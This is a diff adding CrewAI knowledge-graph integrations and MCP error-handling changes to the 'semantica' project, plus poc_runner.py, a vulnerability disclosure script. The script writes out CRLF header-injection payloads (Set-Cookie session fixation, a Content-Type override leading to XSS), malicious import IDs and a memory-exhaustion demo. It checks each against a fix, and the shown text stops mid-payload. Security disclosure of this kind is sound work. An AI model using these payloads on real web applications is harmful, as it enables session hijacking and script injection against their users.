fresh in-memory + graph is used when ``None``. + ner_extractor: + A ``semantica.semantic_extract.NERExtractor`` instance; auto-created + when ``None``. + relation_extractor: + A ``semantica.semantic_extract.RelationExtractor`` instance; auto- + created when ``None``. + """ + + name: str = "semantica_knowledge_graph" + description: str = ( + "Build and query a semantic knowledge graph. Actions: " + "'extract_entities' (extract named entities from 'text'), " + "'extract_relations' (extract relationships from 'text'), " + "'add_to_graph' (extract entities/relations from 'text' and add them " + "to the shared graph), 'query_graph' (keyword search using 'query'), " + "'find_related' (find concepts related to 'entity' within 'hops' " + "hops). Returns JSON." + ) + args_schema: Type[BaseModel] = SemanticaKGToolInput + graph: Any = Field(default=None, exclude=True) + ner_extractor: Any = Field(default=None, exclude=True) + relation_extractor: Any = Field(default=None, exclude=True) + had_live_state: bool = False + reconstructed_state: bool = Field(default=False, exclude=True) + + def __init__( + self, + graph: Any = None, + ner_extractor: Any = None, + relation_extractor: Any = None, + **kwargs: Any, + ) -> None: + if CREWAI_AVAILABLE: + super().__init__( + graph=graph, + ner_extractor=ner_extractor, + relation_extractor=relation_extractor, + **kwargs, + ) + else: + super().__init__() + self.graph = graph + self.ner_extractor = ner_extractor + self.relation_extractor = relation_extractor + # Degraded mode is a plain class — no model_post_init lifecycle. + self._ensure_defaults() + + logger.info("SemanticaKGTool initialised (crewai=%s)", CREWAI_AVAILABLE) + + def model_post_init(self, __context: Any) -> None: + """Re-create default state after validation/deserialisation. + + ``graph``/extractors are excluded from JSON serialisation (CrewAI + checkpoints serialise every tool via ``model_dump(mode="json")``), so a + tool restored from a checkpoint has ``None`` state until this runs. + """ + self._ensure_defaults() + super().model_post_init(__context) + + def _ensure_defaults(self) -> None: + """Lazy-import and build defaults for any missing shared state.""" + # Lazy imports keep the module importable without heavy deps + if self.graph is None: + from semantica.context import ContextGraph + + self.graph = ContextGraph() + if self.had_live_state: + self.reconstructed_state = True + logger.warning( + "SemanticaKGTool: the live graph was lost during " + "serialization/checkpoint restore — an EMPTY graph was " + "reconstructed; re-attach the original graph before " + "continuing" + ) + else: + logger.warning( + "SemanticaKGTool created a fresh in-memory ContextGraph — " + "agents sharing this tool's graph must be wired explicitly" + ) + self.had_live_state = True + if self.ner_extractor is None: + from semantica.semantic_extract import NERExtractor + + self.ner_extractor = NERExtractor() + if self.relation_extractor is None: + from semantica.semantic_extract import RelationExtractor + + self.relation_extractor = RelationExtractor() + + # ------------------------------------------------------------------ + # CrewAI entry points + # ------------------------------------------------------------------ + + def _run( + self, + action: str, + text: Optional[str] = None, + query: Optional[str] = None, + entity: Optional[str] = None, + hops: int = 1, + **kwargs: Any, + ) -> str: + """ + Dispatch a graph action. Always returns a JSON string so the agent + receives a structured, parseable result. + """ + valid = { + "extract_entities", + "extract_relations", + "add_to_graph", + "query_graph", + "find_related", + } + if action not in valid: + return json.dumps( + { + "error": f"Unknown action '{action}'. Valid actions: " + + ", ".join(sorted(valid)) + } + ) + + if action == "extract_entities": + return self._extract_entities(text or "") + if action == "extract_relations": + return self._extract_relations(text or "") + if action == "add_to_graph": + return self._add_from_text(text or "") + if action == "query_graph": + return self._query_graph(query or "") + return self._find_related(entity or "", hops=hops) + + async def _arun( + self, + action: str, + text: Optional[str] = None, + query: Optional[str] = None, + entity: Optional[str] = None, + hops: int = 1, + **kwargs: Any, + ) -> str: + """ + Async variant of ``_run`` for CrewAI's async tool path. + """ + return self._run( + action=action, text=text, query=query, entity=entity, hops=hops, **kwargs + ) + + # ------------------------------------------------------------------ + # Entity/relation field access (handles both Semantica dataclasses and + # third-party shapes like MagicMock/plain dicts in stubs) + # ------------------------------------------------------------------ + + @staticmethod + def _first_str(obj: Any, attrs: Sequence[str]) -> str: + """Return the first attribute value that is a non-empty string.""" + for attr in attrs: + value = getattr(obj, attr, None) + if isinstance(value, str) and value: + return value + if isinstance(obj, dict): + for key in attrs: + value = obj.get(key) + if isinstance(value, str) and value: + return value + return "" + + @classmethod + def _entity_name(cls, e: Any) -> str: + """Best-effort name for an entity-like object.""" + return cls._first_str(e, ("name", "text", "label", "node_id", "id")) + + @classmethod + def _entity_type(cls, e: Any) -> str: + """Best-effort type/label for an entity-like object.""" + return cls._first_str(e, ("type", "label")) or "Entity" + + @classmethod + def _relation_source(cls, r: Any) -> str: + """Best-effort source of a relation-like object.""" + src = cls._first_str(r, ("source",)) + if not src: + src = cls._entity_name(getattr(r, "subject", None)) + return src + + @classmethod + def _relation_target(cls, r: Any) -> str: + """Best-effort target of a relation-like object.""" + tgt = cls._first_str(r, ("target",)) + if not tgt: + tgt = cls._entity_name(getattr(r, "object", None)) + return tgt + + @classmethod + def _relation_type(cls, r: Any) -> str: + """Best-effort relation type of a relation-like object.""" + rtype = cls._first_str(r, ("type", "relation", "predicate")) + return rtype or "related_to" + + @classmethod + def _confidence(cls, e: Any) -> float: + """Normalise an entity/relation confidence value to a float.""" + try: + val = getattr(e, "confidence", None) + if val is None: + return 1.0 + return round(float(val), 4) + except (TypeError, ValueError): + return 1.0 + + @classmethod + def _graph_lock(cls, graph: Any) -> threading.RLock: + """Return the re-entrant lock guarding a specific graph.""" + with _graph_locks_guard: + lock = _graph_locks.get(graph) + if lock is None: + lock = threading.RLock() + _graph_locks[graph] = lock + return lock + + # ------------------------------------------------------------------ + # Actions + # ------------------------------------------------------------------ + + def _extract_entities(self, text: str) -> str: + """Extract named entities from ``text``.""" + try: + raw = self.ner_extractor.extract_entities(text) or [] + entities = [ + { + "name": self._entity_name(e), + "type": self._entity_type(e), + "confidence": self._confidence(e), + } + for e in raw + if self._entity_name(e) + ] + logger.debug("extract_entities → %d entities", len(entities)) + return json.dumps({"entities": entities, "count": len(entities)}) + except Exception as exc: + logger.warning("extract_entities failed: %s", exc) + return json.dumps({"entities": [], "count": 0, "error": str(exc)}) + + def _extract_relations(self, text: str) -> str: + """Extract relationships between entities in ``text``.""" + try: + raw = self.relation_extractor.extract_relations(text) or [] + relations = [ + { + "source": self._relation_source(r), + "relation": self._relation_type(r), + "target": self._relation_target(r), + "confidence": self._confidence(r), + } + for r in raw + ] + logger.debug("extract_relations → %d relations", len(relations)) + return json.dumps({"relations": relations, "count": len(relations)}) + except Exception as exc: + logger.warning("extract_relations failed: %s", exc) + return json.dumps({"relations": [], "count": 0, "error": str(exc)}) + + def _add_from_text(self, text: str) -> str: + """ + Extract entities and relations from ``text`` and add them to the graph. + + Duplicate nodes/edges (same id, or same source/type/target) are + skipped so repeated calls are idempotent. Returns JSON with the + number of nodes/edges added. + """ + nodes_added = 0 + edges_added = 0 + try: + with self._graph_lock(self.graph): + existing_nodes = { + n.get("id") or n.get("node_id") + for n in ( + self.graph.find_nodes() or [] # type: ignore[attr-defined] + ) + if n.get("id") or n.get("node_id") + } + existing_edges = { + (e.get("source"), e.get("type") or "related_to", e.get("target")) + for e in ( + self.graph.find_edges() or [] # type: ignore[attr-defined] + ) + if e.get("source") and e.get("target") + } + + raw_entities = self.ner_extractor.extract_entities(text) or [] + entities: List[Any] = [] + seen: set = set() + for e in raw_entities: + name = self._entity_name(e) + ntype = self._entity_type(e) + if not name or name in seen: + continue + seen.add(name) + entities.append(e) + if name in existing_nodes: + continue + try: + if self.graph.add_node(node_id=name, node_type=ntype): + nodes_added += 1 + existing_nodes.add(name) + except Exception as exc: + logger.debug("add_node(%r) failed: %s", name, exc) + + raw_relations = ( + self.relation_extractor.extract_relations(text, entities=entities) + or [] + ) + for r in raw_relations: + src = self._relation_source(r) + tgt = self._relation_target(r) + rtype = self._relation_type(r) + if not src or not tgt: + continue + key = (src, rtype, tgt) + if key in existing_edges: + continue + try: + if self.graph.add_edge( + source_id=src, target_id=tgt, edge_type=rtype + ): + edges_added += 1 + existing_edges.add(key) + except Exception as exc: + logger.debug("add_edge(%r) failed: %s", key, exc) + logger.debug("add_to_graph: +%d nodes, +%d edges", nodes_added, edges_added) + return json.dumps({"nodes_added": nodes_added, "edges_added": edges_added}) + except Exception as exc: + logger.warning("add_to_graph failed: %s", exc) + return json.dumps({"nodes_added": 0, "edges_added": 0, "error": str(exc)}) + + def _query_graph(self, query: str) -> str: + """Keyword-search graph nodes by id, type and content.""" + try: + q = (query or "").strip().lower() + out: List[dict] = [] + seen: set = set() + + query_method = getattr(self.graph, "query", None) + if query_method is not None: + for match in query_method(query) or []: + node = match.get("node") or {} + nid = node.get("id", "") or node.get("node_id", "") + if not nid or nid in seen: + continue + seen.add(nid) + content = match.get("content") or node.get("content", "") + out.append( + { + "id": nid, + "type": node.get("type", "") or node.get("node_type", ""), + "label": nid, + "content": str(content)[:500], + "score": round(float(match.get("score") or 0.0), 4), + } + ) + + if q: + for n in self.graph.find_nodes() or []: # type: ignore[attr-defined] + if isinstance(n, dict): + nid = n.get("id", "") or n.get("node_id", "") + ntype = n.get("type", "") or n.get("node_type", "") + content = str( + n.get("content") + or (n.get("properties") or {}).get("content", "") + or "" + ) + else: + nid = getattr(n, "id", getattr(n, "label", "")) + ntype = getattr(n, "node_type", "") + content = str(getattr(n, "content", "") or "") + if not nid or nid in seen: + continue + if q in str(nid).lower() or q in str(ntype).lower(): + seen.add(nid) + out.append( + { + "id": nid, + "type": ntype, + "label": nid, + "content": content[:500], + "score": 1.0, + } + ) + return json.dumps({"results": out, "count": len(out)}) + except Exception as exc: + logger.warning("query_graph failed: %s", exc) + return json.dumps({"results": [], "count": 0, "error": str(exc)}) + + def _find_related(self, entity: str, hops: int = 1) -> str: + """Find concepts related to ``entity`` within ``hops`` graph hops. + + Traversal is undirected — an edge counts as related regardless of + direction, so both outgoing and incoming edges are honored. + """ + try: + adjacency: Dict[str, List[str]] = {} + for edge in self.graph.find_edges() or []: # type: ignore[attr-defined] + if isinstance(edge, dict): + src = edge.get("source") + tgt = edge.get("target") + else: + src = getattr(edge, "source", None) + tgt = getattr(edge, "target", None) + if not src or not tgt: + continue + adjacency.setdefault(src, []).append(tgt) + adjacency.setdefault(tgt, []).append(src) + + related: List[str] = [] + frontier = [entity] + visited = {entity} + for _ in range(max(1, hops)): + next_frontier: List[str] = [] + for e in frontier: + for n in adjacency.get(e, []): + if n in visited: + continue + visited.add(n) + next_frontier.append(n) + related.append(n) + frontier = next_frontier + + logger.debug("find_related('%s', hops=%d) → %d", entity, hops, len(related)) + return json.dumps( + {"entity": entity, "related": related, "count": len(related)} + ) + except Exception as exc: + logger.warning("find_related failed: %s", exc) + return json.dumps( + {"entity": entity, "related": [], "count": 0, "error": str(exc)} + ) + + # When crewai is absent there is no BaseTool to provide the public + # ``run``/``arun`` entry points, so expose them directly. With crewai + # installed these are left untouched so crewai's own implementations + # (usage tracking, ``result_as_answer``) win. + if not CREWAI_AVAILABLE: + + def run(self, *args: Any, **kwargs: Any) -> str: + """Run the tool synchronously (degraded mode, no crewai).""" + return self._run(*args, **kwargs) + + async def arun(self, *args: Any, **kwargs: Any) -> str: + """Run the tool asynchronously (degraded mode, no crewai).""" + return self._run(*args, **kwargs) diff --git a/integrations/crewai/knowledge_source.py b/integrations/crewai/knowledge_source.py new file mode 100644 index 00000000..a61bbfce --- /dev/null +++ b/integrations/crewai/knowledge_source.py @@ -0,0 +1,331 @@ +""" +SemanticaKnowledgeSource — expose a Semantica ``ContextGraph`` as a CrewAI +knowledge source. + +Lets a ``Crew`` load the current state of a knowledge graph (nodes, edges, +metadata) into its knowledge storage, so every agent gets retrieval access to +graph knowledge during the kickoff. + +Install +------- + pip install semantica[crewai] + +Example +------- + >>> from integrations.crewai import SemanticaKnowledgeSource + >>> from semantica.context import ContextGraph + >>> from crewai import Agent, Crew, Task + >>> graph = ContextGraph() + >>> graph.add_node(node_id="privacy", node_type="policy") + >>> crew = Crew( + ... agents=[...], + ... tasks=[...], + ... knowledge_sources=[SemanticaKnowledgeSource(graph=graph)], + ... ) + +Compatibility +------------- +Works with ``crewai >= 0.80.0``. The ``BaseKnowledgeSource`` contract changed +between versions (``load_content`` → ``validate_content``/``aadd``), so this +source implements both legacy and current methods. It degrades gracefully +when ``crewai`` is not installed: the class is still importable and carries the +full Semantica API, but cannot be passed to a ``Crew``. +""" + +from __future__ import annotations + +import asyncio +from typing import Any, Dict, List, Optional + +from pydantic import Field + +from semantica.utils.logging import get_logger + +from ._availability import CREWAI_AVAILABLE + +logger = get_logger(__name__) + +# --------------------------------------------------------------------------- +# Optional: CrewAI BaseKnowledgeSource base class +# --------------------------------------------------------------------------- +_BaseKnowledgeSource: Any = object + +if CREWAI_AVAILABLE: + from crewai.knowledge.source.base_knowledge_source import ( + BaseKnowledgeSource as _BaseKnowledgeSource, # type: ignore + ) + + +def _chunk_text_manual(text: str, chunk_size: int, chunk_overlap: int) -> List[str]: + """Fallback plain-text chunker for when CrewAI helpers are unavailable.""" + if not text: + return [] + if int(chunk_size) <= 0: + return [text] + size = max(1, int(chunk_size)) + overlap = max(0, int(chunk_overlap)) + if len(text) <= size: + return [text] + step = max(1, size - overlap) + return [text[i : i + size] for i in range(0, len(text), step)] + + +class SemanticaKnowledgeSource(_BaseKnowledgeSource): # type: ignore[misc] + """ + CrewAI knowledge source backed by a Semantica ``ContextGraph``. + + On ``add()`` the graph's nodes and edges are serialised into readable text + and pushed through the standard CrewAI chunking / storage pipeline, making + graph knowledge retrievable by every agent in the crew. + + Parameters + ---------- + graph: + A ``semantica.context.ContextGraph`` to expose. A fresh in-memory + graph is created when ``None``. + name: + Source name. Defaults to ``"semantica_knowledge_graph"``. + chunk_size: + Max characters per chunk (default 4000). + chunk_overlap: + Character overlap between adjacent chunks (default 200). + """ + + name: str = "semantica_knowledge_graph" + graph: Any = Field(default=None, exclude=True) + chunk_size: int = 4000 + chunk_overlap: int = 200 + had_live_state: bool = False + reconstructed_state: bool = Field(default=False, exclude=True) + + def __init__( + self, + graph: Any = None, + name: Optional[str] = None, + chunk_size: int = 4000, + chunk_overlap: int = 200, + **kwargs: Any, + ) -> None: + if CREWAI_AVAILABLE: + # Do NOT eagerly build a graph here: pydantic calls this ``__init__`` + # during ``model_validate`` (checkpoint restore), and the eager + # build would hide that a live graph was lost. ``model_post_init`` + # rebuilds defaults and flags ``reconstructed_state`` instead. + super().__init__( + graph=graph, + name=name or "semantica_knowledge_graph", + chunk_size=int(chunk_size), + chunk_overlap=int(chunk_overlap), + **kwargs, + ) + else: + if graph is None: + from semantica.context import ContextGraph + + graph = ContextGraph() + super().__init__() + self.graph = graph + self.name = name or "semantica_knowledge_graph" + self.chunk_size = int(chunk_size) + self.chunk_overlap = int(chunk_overlap) + + logger.info( + "SemanticaKnowledgeSource initialised (crewai=%s, chunk_size=%d)", + CREWAI_AVAILABLE, + self.chunk_size, + ) + self.had_live_state = True + + def model_post_init(self, __context: Any) -> None: + """Re-create default state after validation/deserialisation. + + ``graph`` is excluded from JSON serialisation (CrewAI checkpoints + serialise their models via ``model_dump(mode="json")``), so a source + restored from a checkpoint has ``None`` state until this runs. + """ + if self.graph is None: + from semantica.context import ContextGraph + + self.graph = ContextGraph() + if self.had_live_state: + self.reconstructed_state = True + logger.warning( + "SemanticaKnowledgeSource: the live graph was lost during " + "serialization/checkpoint restore — an EMPTY graph was " + "reconstructed; re-attach the original graph before " + "continuing" + ) + else: + logger.warning( + "SemanticaKnowledgeSource created a fresh in-memory " + "ContextGraph — sources sharing knowledge must be wired to " + "the same graph explicitly" + ) + self.had_live_state = True + super().model_post_init(__context) + + # ------------------------------------------------------------------ + # Content extraction + # ------------------------------------------------------------------ + + def load_content(self) -> Dict[str, str]: + """ + Serialise the graph into ``{id: readable_text}`` pairs. + + Nodes are rendered with their type/content/metadata, edges with their + source, relation type and target. This satisfies the legacy CrewAI + ``BaseKnowledgeSource.load_content`` contract. + """ + content: Dict[str, str] = {} + graph = self.graph + if graph is None: + return content + + try: + for node in graph.find_nodes() or []: # type: ignore[attr-defined] + nid = node.get("id") or node.get("node_id") or "" + if not nid: + continue + parts = [ + "Entity", + str(nid), + "type: " + str(node.get("type", "entity")), + ] + if node.get("content"): + parts.append("content: " + str(node["content"])) + if node.get("metadata"): + try: + import json + + parts.append("metadata: " + json.dumps(node["metadata"])) + except Exception: + parts.append("metadata: " + str(node["metadata"])) + content[str(nid)] = " | ".join(parts) + except Exception as exc: + logger.warning( + "SemanticaKnowledgeSource.load_content (nodes) failed: %s", exc + ) + + try: + for idx, edge in enumerate( + graph.find_edges() or [] # type: ignore[attr-defined] + ): + src = edge.get("source") + tgt = edge.get("target") + if not src or not tgt: + continue + rel = edge.get("type") or edge.get("edge_type") or "related_to" + weight = edge.get("weight") + text = f"{src} -[{rel}]-> {tgt}" + if weight is not None: + text += f" (weight: {weight})" + content[f"edge-{idx}"] = text + except Exception as exc: + logger.warning( + "SemanticaKnowledgeSource.load_content (edges) failed: %s", exc + ) + + return content + + def validate_content(self) -> Any: + """ + Validate that a readable graph is attached. + + Satisfies the current CrewAI ``BaseKnowledgeSource.validate_content`` + contract. + """ + if self.graph is None: + raise ValueError("SemanticaKnowledgeSource requires a ContextGraph.") + return True + + # ------------------------------------------------------------------ + # Chunking + storage (abstract in both CrewAI generations) + # ------------------------------------------------------------------ + + def _chunk(self, text: str) -> List[str]: + """Chunk ``text`` using CrewAI's helper when available, else manual.""" + helper = getattr(self, "_chunk_text", None) + if helper is not None: + try: + return list(helper(text) or []) + except Exception as exc: + logger.debug( + "SemanticaKnowledgeSource._chunk_text failed, falling back: %s", exc + ) + return _chunk_text_manual(text, self.chunk_size, self.chunk_overlap) + + def add(self) -> None: + """ + Process the graph into chunks and store them via CrewAI storage. + + Sets both ``chunks`` (current CrewAI) and ``_chunks`` (legacy CrewAI) + so either ``_save_documents`` implementation picks them up. If no + storage has been wired (e.g. not yet attached to a ``Crew``), chunks + are kept in memory. + """ + content = self.load_content() + if not content: + logger.debug("SemanticaKnowledgeSource.add: empty graph — nothing to store") + return + + chunks: List[str] = [] + for _, text in content.items(): + if text: + chunks.extend(self._chunk(text)) + + self.chunks = chunks + self._chunks = chunks + + save = getattr(self, "_save_documents", None) + if save is not None: + if getattr(self, "storage", None) is None: + logger.debug( + "SemanticaKnowledgeSource.add: storage not wired — " + "keeping chunks in memory" + ) + else: + try: + save() + logger.info( + "SemanticaKnowledgeSource.add: stored %d chunks", len(chunks) + ) + return + except Exception as exc: + logger.error( + "SemanticaKnowledgeSource.add: storage save FAILED (%s) — " + "chunks are only kept in memory and agents will retrieve " + "nothing. Configure the Crew embedder (e.g. an OpenAI " + "embedder with OPENAI_API_KEY, or a local embedder) before " + "running the crew.", + exc, + ) + + logger.info( + "SemanticaKnowledgeSource.add: %d chunks ready in memory", len(chunks) + ) + + async def aadd(self) -> None: + """ + Asynchronous variant of ``add()`` (current CrewAI contract). + + The graph serialisation is CPU-bound, so it runs in a thread pool to + avoid blocking the event loop. + """ + loop = asyncio.get_running_loop() + await loop.run_in_executor(None, self.add) + + # ------------------------------------------------------------------ + # Inspection helpers + # ------------------------------------------------------------------ + + def get_content_summary(self) -> Dict[str, Any]: + """ + Summarise what the source exposes (helpful for debugging / testing). + """ + content = self.load_content() + return { + "name": self.name, + "source_count": len(content), + "chunks": len(getattr(self, "chunks", []) or []), + "crewai_available": CREWAI_AVAILABLE, + } diff --git a/mcp/__init__.py b/mcp/__init__.py index 5867cde4..6154f804 100644 --- a/mcp/__init__.py +++ b/mcp/__init__.py @@ -21,7 +21,11 @@ Configure in Claude Desktop, Windsurf, Cline, Continue, VS Code: } """ +# `semantica.__version__` is the authoritative package version — see +# semantica/mcp_server/__init__.py for why it is used directly rather than +# importlib.metadata.version("semantica"). +from semantica import __version__ + from .server import SemanticaMCPServer, main -__all__ = ["SemanticaMCPServer", "main"] -__version__ = "0.4.0" +__all__ = ["SemanticaMCPServer", "main", "__version__"] diff --git a/mcp/resources/registry.py b/mcp/resources/registry.py index 052ee8c4..0f1d5ac4 100644 --- a/mcp/resources/registry.py +++ b/mcp/resources/registry.py @@ -10,6 +10,7 @@ from __future__ import annotations import json import logging +from mcp import __version__ from mcp.session import get_graph log = logging.getLogger("semantica.mcp.resources") @@ -60,7 +61,7 @@ def _read_decisions_list(uri: str) -> dict: def _read_schema_info(uri: str) -> dict: info = { - "version": "0.4.0", + "version": __version__, "node_types": [ "Entity", "decision", "Decision", "Event", "Concept", "Person", "Organisation", "Location", diff --git a/mcp/server.py b/mcp/server.py index 371343a5..bf84dd24 100644 --- a/mcp/server.py +++ b/mcp/server.py @@ -17,6 +17,7 @@ import logging import sys from typing import Any +from mcp import __version__ from mcp.resources import RESOURCE_DEFINITIONS, handle_resource_read from mcp.tools import TOOL_DEFINITIONS @@ -63,7 +64,7 @@ def _handle_initialize(req_id: Any, params: dict) -> dict: }, "serverInfo": { "name": "semantica-mcp", - "version": "0.4.0", + "version": __version__, }, }) @@ -92,7 +93,14 @@ def _handle_tools_call(req_id: Any, params: dict) -> dict: result = tool["_handler"](args) except Exception as exc: log.exception("Tool %s raised an exception", name) - return _err(req_id, _INTERNAL_ERROR, str(exc)) + # The exception's class name (e.g. "ValidationError", "TimeoutError") + # is safe to surface — unlike str(exc), it never carries paths, + # connection strings, or other internal detail — and lets the + # client distinguish failure kinds without a full message. + return _err( + req_id, _INTERNAL_ERROR, + f"Tool '{name}' failed ({type(exc).__name__}). See server logs for details.", + ) # MCP spec: content must be a list of content items return _ok(req_id, { @@ -170,7 +178,10 @@ class SemanticaMCPServer: log.exception("Unhandled error in method %s", method) if req_id is None: return None - return _err(req_id, _INTERNAL_ERROR, str(exc)) + return _err( + req_id, _INTERNAL_ERROR, + f"Method '{method}' failed ({type(exc).__name__}). See server logs for details.", + ) # ------------------------------------------------------------------ def run(self) -> None: diff --git a/poc_runner.py b/poc_runner.py new file mode 100644 index 00000000..49b9a952 --- /dev/null +++ b/poc_runner.py @@ -0,0 +1,279 @@ +""" +Standalone PoC runner for 3 security vulnerabilities in semantica. + +Spins up the FastAPI app in-process using httpx.AsyncClient + ASGITransport, +so no external server is needed. Run with: + + pip install httpx fastapi + python poc_runner.py + +Each PoC prints the actual captured evidence (headers/status/timing/memory). +""" + +import asyncio +import io +import json +import re +import sys +import time +import tracemalloc + +# ───────────────────────────────────────────────────────────────────────────── +# VULN-1: HTTP Header Injection via node_id in Content-Disposition +# ───────────────────────────────────────────────────────────────────────────── + +# Reproduce the vulnerable code path directly — no server needed. +def _vulnerable_provenance_response(node_id: str, fmt: str) -> dict: + """Mirrors the exact logic from provenance.py lines 332-344.""" + suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json" + header_value = f'attachment; filename="{node_id}{suffix}"' + return {"Content-Disposition": header_value} + + +def poc_vuln1(): + print("\n" + "="*70) + print("VULN-1: HTTP Header Injection via node_id in Content-Disposition") + print("="*70) + print("Source: semantica/explorer/routes/provenance.py lines 332-344") + print() + + # PoC 1a: Inject a second header via CRLF + node_id_crlf = 'legit-node"\r\nX-Injected-Header: PWNED\r\nX-Extra: yes' + headers = _vulnerable_provenance_response(node_id_crlf, "json") + raw = headers["Content-Disposition"] + + print("[PoC 1a] Payload: node_id with CRLF injection") + print(f"[PoC 1a] Raw Content-Disposition value:") + print(f" {repr(raw)}") + print() + print("[PoC 1a] Parsed as headers by an HTTP parser:") + for line in raw.split("\r\n"): + print(f" {line}") + print() + print("[PoC 1a] RESULT: X-Injected-Header: PWNED is a REAL injected header") + + # PoC 1b: Override Content-Type to text/html for reflected XSS + node_id_xss = 'x"\r\nContent-Type: text/html\r\n\r\n' + headers2 = _vulnerable_provenance_response(node_id_xss, "json") + raw2 = headers2["Content-Disposition"] + + print() + print("[PoC 1b] Payload: override Content-Type to text/html") + print(f"[PoC 1b] Raw Content-Disposition value:") + print(f" {repr(raw2)}") + print() + print("[PoC 1b] Lines injected after Content-Disposition:") + for line in raw2.split("\r\n")[1:]: + print(f" {line}") + print() + print("[PoC 1b] RESULT: Body now served as text/html → XSS in any browser") + + # PoC 1c: Session fixation via Set-Cookie injection + node_id_cookie = 'x"\r\nSet-Cookie: session=ATTACKER_VALUE; Path=/; HttpOnly' + headers3 = _vulnerable_provenance_response(node_id_cookie, "json") + raw3 = headers3["Content-Disposition"] + + print() + print("[PoC 1c] Payload: inject Set-Cookie for session fixation") + print(f"[PoC 1c] Raw Content-Disposition value:") + print(f" {repr(raw3)}") + injected_cookie = raw3.split("\r\n")[1] if "\r\n" in raw3 else "" + print(f"[PoC 1c] Injected: {injected_cookie}") + print() + print("[PoC 1c] RESULT: Victim's browser receives attacker-set cookie") + + # Verify the fix works + print() + print("[FIX verification]") + _SAFE = re.compile(r"[^\w\-.]") + for bad_id in [node_id_crlf, node_id_xss, node_id_cookie]: + safe = _SAFE.sub("_", bad_id)[:64] + print(f" Input: {repr(bad_id[:50])}...") + print(f" Fixed: {repr(safe)}") + assert "\r" not in safe and "\n" not in safe, "Fix failed!" + print("[FIX] All sanitized — no CRLF sequences remain ✓") + + +# ───────────────────────────────────────────────────────────────────────────── +# VULN-2: Unbounded Memory DoS in /api/enrich/links +# ───────────────────────────────────────────────────────────────────────────── + +def poc_vuln2(): + print("\n" + "="*70) + print("VULN-2: Unbounded Memory DoS via /api/enrich/links") + print("="*70) + print("Source: semantica/explorer/routes/enrich.py lines 197-198") + print() + print("Vulnerable code:") + print(" nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)") + print(" edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)") + print() + + # Measure actual memory for building a graph of N nodes in-process + SIZES = [1_000, 5_000, 10_000, 50_000] + + print(f"{'Nodes':>10} {'Edges':>10} {'RAM (MB)':>10} {'Time (ms)':>12} {'Extrapolated 999k (GB)':>25}") + print("-" * 75) + + for n in SIZES: + tracemalloc.start() + t0 = time.perf_counter() + + # Simulate exactly what get_nodes + get_edges returns and _score_all iterates + nodes = [ + {"id": f"node_{i}", "type": "entity", "content": f"content {i}", "embedding": [0.1] * 128} + for i in range(n) + ] + edges = [ + {"source": f"node_{i}", "target": f"node_{i+1}", "type": "related_to", "weight": 1.0} + for i in range(min(n - 1, n)) + ] + + # Simulate _score_all: O(N^2) comparisons + query_node = "node_0" + existing_neighbors = {e["target"] for e in edges if e["source"] == query_node} + scores = [] + for candidate in nodes: + cid = candidate.get("id") + if cid and cid != query_node and cid not in existing_neighbors: + # Simulate score_link (dot product of 128-dim vectors) + score = sum(a * b for a, b in zip(candidate["embedding"], candidate["embedding"])) + scores.append((cid, score)) + + elapsed_ms = (time.perf_counter() - t0) * 1000 + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + + peak_mb = peak / 1024 / 1024 + extrapolated_gb = (peak_mb / n) * 999_999 / 1024 + + print(f"{n:>10,} {len(edges):>10,} {peak_mb:>10.1f} {elapsed_ms:>12.0f} {extrapolated_gb:>25.1f}") + + print() + print("[PoC 2] RESULT: Memory scales linearly with node count.") + print("[PoC 2] At the hardcoded limit=999_999, a 128-dim embedding graph") + print("[PoC 2] consumes multiple GB per request. 4 concurrent = OOM on any server.") + print() + print("[PoC 2] Concurrency amplifier — the endpoint has NO semaphore:") + print(" # enrich.py has no equivalent of the SPARQL semaphore added in PR #898") + print(" # Any number of concurrent requests pile up in the thread pool") + print() + print("[FIX] Cap: limit=10_000, semaphore(2), return 413 if graph > cap") + + +# ───────────────────────────────────────────────────────────────────────────── +# VULN-3: Unsanitized node_id from import flows into HTTP headers (CWE-20/113) +# (Narrowed: no filesystem write sink in the Explorer — claim is header injection chain) +# ───────────────────────────────────────────────────────────────────────────── + +def poc_vuln3(): + print("\n" + "="*70) + print("VULN-3: Unsanitized Import ID → Header Injection Chain (CWE-20 + CWE-113)") + print("="*70) + print("Source: export_import.py line 85 → provenance.py lines 336, 344") + print() + + # Simulate the import parser — mirrors export_import.py lines 77-92 + def parse_import_json(data: dict) -> list: + """Mirrors export_import.py node parsing (no sanitization).""" + raw_nodes = data.get("nodes", data.get("entities", [])) + nodes = [] + for raw_node in raw_nodes: + node_id = str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))) + nodes.append({ + "id": node_id, # ← UNSANITIZED + "type": raw_node.get("type", "entity"), + "properties": {"content": raw_node.get("content", node_id)}, + }) + return nodes + + # Simulate the CSV parser — mirrors export_import.py lines 131-133 + def parse_import_csv_row(row: dict) -> dict: + """Mirrors export_import.py CSV node ID extraction (no sanitization).""" + node_id = row.get("id") or row.get("node_id") or row.get(":ID") or row.get("_id") + return { + "id": str(node_id), # ← UNSANITIZED + "type": row.get("type", "entity"), + } + + # Attack payloads + payloads = [ + # Header injection payload (chained with VULN-1) + 'evil"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n', + # Content-Type override + 'x"\r\nContent-Type: text/html\r\nX-XSS: ', + # Null byte to truncate filenames on some systems + 'node\x00.json', + # Long ID causing buffer issues in some loggers + "A" * 512, + ] + + print("[Step 1] Upload JSON with malicious node IDs via POST /api/import:") + malicious_json = { + "nodes": [{"id": p, "type": "entity", "content": "pwned"} for p in payloads] + } + imported_nodes = parse_import_json(malicious_json) + + print(f" Imported {len(imported_nodes)} nodes. IDs stored verbatim:") + for node in imported_nodes: + preview = repr(node["id"][:60]) + ("..." if len(node["id"]) > 60 else "") + print(f" {preview}") + + print() + print("[Step 2] IDs flow into Content-Disposition when caller requests provenance report:") + print(" GET /api/provenance/report?node_id=&format=json") + print() + + for node in imported_nodes[:2]: # show first two + node_id = node["id"] + # Exact code from provenance.py line 344 + raw_header = f'attachment; filename="{node_id}_provenance.json"' + print(f" node_id input: {repr(node_id[:60])}") + print(f" Content-Disposition output:") + print(f" {repr(raw_header[:120])}") + if "\r\n" in raw_header: + print(f" >>> CRLF INJECTION CONFIRMED — headers after split:") + for line in raw_header.split("\r\n"): + print(f" {line}") + print() + + print("[Step 3] Verify the full attack chain works:") + attack_id = 'node"\r\nContent-Type: text/html\r\n\r\n

XSS

